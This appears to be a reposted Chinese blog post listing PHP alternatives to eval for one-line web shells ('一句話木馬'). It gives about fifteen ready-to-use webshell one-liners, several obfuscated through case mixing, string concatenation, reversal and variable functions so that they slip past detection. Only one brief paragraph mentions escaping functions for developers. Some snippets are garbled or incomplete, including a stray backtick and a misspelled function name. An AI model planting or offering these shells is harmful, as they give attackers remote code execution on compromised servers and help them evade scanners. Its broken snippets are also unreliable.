1. 程式人生 > 實用技巧 >一句話木馬替代

一句話木馬替代

一句話木馬的關鍵便是命令的執行,同樣php中也有一些命令執行函式可以代替eval,舉例相應函式及使用:

assert()函式(ps:在PHP7.1版本以後,assert()預設不再可以執行程式碼)
system()函式
passthru()函式
exec()函式
shell_exec()函式
使用反引號執行程式碼(ps:要確保shell_exec函式可用,否則無法用) | <?php echo $_POST['pass']`;?>

也可使用popen()函式開啟程序執行命令,自行百度、嘗試,這裡不做舉例。

  如果你是開發者,當你使用這些函式來執行系統命令時,可以使用escapeshellcmd()和escapeshellarg()函式阻止使用者惡意在系統上執行命令,escapeshellcmd()針對的是執行的系統命令,而escapeshellarg()針對的是執行系統命令的引數。

下面放一些比較常見的一句話木馬,我們也可以根據豐富的php函式自行創造和修改(未具體嘗試,如有出錯歡迎評論指出)注意assert()的版本問題(上表格有提及,需要時自行修改):

普通的一句話GET方法(也可以用POST方法或者REQUEST等方法代替,下文也是如此
用php變量表示(ps:eval不能作為變數函式去執行) <?php $a = "passthru";$a(@$_GET['pass']); ?>
php變量表示變形1(ps:大小寫混淆) <?php $a="AssERT";$b=strtolower($a);@$b($_POST['pass']);?>
php變量表示變形2(ps:字串拼接) <?php $a="e"."v";$b="a"."l";$c=$a.$b;$c($_POST['a']);?>
php變量表示變形3(ps:字串拼接、大小寫混淆、字串逆序) <?php $a="TR"."Es"."sA";$b=strtolower($a);$c=strrev($b);@$c($_GET['pass']);?>
PHP可變變數(ps:變數的變換) <?php $b="assert";$a='b';$$a($_POST['pass']);?> ``
使用create_function函式 <?php $a=create_function('',$_POST['pass']);$a();?> ``
自定義函式 <?php function b($a){@eval($a);}@b($_POST['pass']);?>
使用call_user_func()函式(ps:呼叫函式) <?php @call_user_func(assert,$_POST['pass']);?>
使用call_user_func_array()函式 `<?php $array[0]=$_POST['pass'];@call_user_func_array(assert,$array);?>`
base64_decode 函式
preg_replace函式(ps:preg_replace 函式的第一個引數是一個正則表示式,後文會提到正則表示式。 如果在表示式末尾加上一個 e,則第二個引數就會被當做 php程式碼執行。) <?php function a(){return $_POST['pass'];}@preg_replace("/test/e", a(),"test1");?>
array_map()函式(ps:array_map() 函式將使用者自定義函式作用到陣列中的每個值上,並返回使用者自定義函式作用後的帶有新的值的陣列。)
array_filter()函式
pares_str函式(ps:結果$a=eval) <?php $str="a=eval";parse_str($str);$a($_POST['pass']);?>
str_replace函式(ps:結果$a=assert) <?php $a = str_replace("test", "", "astestsert");$a($_POST['pass']);?>
uasort()函式、usort()函式
動態函式